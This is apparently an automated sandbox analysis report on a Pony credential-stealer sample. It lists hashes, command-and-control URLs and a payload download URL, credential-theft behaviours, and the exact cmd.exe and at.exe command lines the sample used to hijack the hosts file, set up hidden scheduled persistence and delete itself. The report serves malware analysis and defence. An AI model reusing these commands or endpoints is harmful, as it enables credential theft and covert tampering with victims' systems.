Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
23-10-2024 00:16
Static task
static1
Behavioral task
behavioral1
Sample
6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe
Resource
win7-20240708-en
Behavioral task
behavioral2
Sample
6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe
Resource
win10v2004-20241007-en
General
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Target
6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe
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Size
96KB
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MD5
6c73f9c1b06e0ba2ccde71dbd013dd50
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SHA1
c092d7202fc43626f6c629144bed483e0910e935
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SHA256
75a4facd206c38feba777a424b1c73dbbf73549772b78c0eb415b5a80a4475ef
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SHA512
2e16c968d708c5aa59d5cd31fadc95cefebda12cfa8979fa8f327433bd2d517631f1a47a46da1049adf2be1112275d2066fb47da943c48537c122d849a2a9848
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SSDEEP
1536:D1sHMcHfDjw9D9Ll2biMlFjYsTPnqp4nEsfk+oflIRU8wP:DIMAjwVVOiMUsrnqp4jH4WU8w
Malware Config
Extracted
pony
http://gkydtu.info:4915/doc/black.php
http://lou8du.info:888/doc/black.php
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payload_url
http://kgtxdu.info:888/pic/Flash.exe
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File created C:\Windows\system32\drivers\etc\tmp.tmp 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Deletes itself 1 IoCs
pid Process 2724 cmd.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 2980 cmd.exe 2920 at.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language PING.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 2724 cmd.exe 2904 PING.EXE -
Runs ping.exe 1 TTPs 1 IoCs
pid Process 2904 PING.EXE -
Suspicious use of AdjustPrivilegeToken 32 IoCs
description pid Process Token: SeImpersonatePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeTcbPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeBackupPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeRestorePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeImpersonatePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeTcbPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeBackupPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeRestorePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeImpersonatePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeTcbPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeBackupPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeRestorePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeImpersonatePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeTcbPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeCreateTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeBackupPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeRestorePrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 16 IoCs
description pid Process procid_target PID 2080 wrote to memory of 2980 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 31 PID 2080 wrote to memory of 2980 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 31 PID 2080 wrote to memory of 2980 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 31 PID 2080 wrote to memory of 2980 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 31 PID 2080 wrote to memory of 2724 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 32 PID 2080 wrote to memory of 2724 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 32 PID 2080 wrote to memory of 2724 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 32 PID 2080 wrote to memory of 2724 2080 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe 32 PID 2980 wrote to memory of 2920 2980 cmd.exe 35 PID 2980 wrote to memory of 2920 2980 cmd.exe 35 PID 2980 wrote to memory of 2920 2980 cmd.exe 35 PID 2980 wrote to memory of 2920 2980 cmd.exe 35 PID 2724 wrote to memory of 2904 2724 cmd.exe 36 PID 2724 wrote to memory of 2904 2724 cmd.exe 36 PID 2724 wrote to memory of 2904 2724 cmd.exe 36 PID 2724 wrote to memory of 2904 2724 cmd.exe 36 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1506706701-1246725540-2219210854-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:2080 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 00:20:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259484575aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\SysWOW64\at.exeat 00:20:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\259484575aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:2920
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 6 localhost && erase "C:\Users\Admin\AppData\Local\Temp\6c73f9c1b06e0ba2ccde71dbd013dd50_JaffaCakes118.exe"2⤵
- Deletes itself
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Windows\SysWOW64\PING.EXEping -n 6 localhost3⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:2904
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Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
3Credentials In Files
3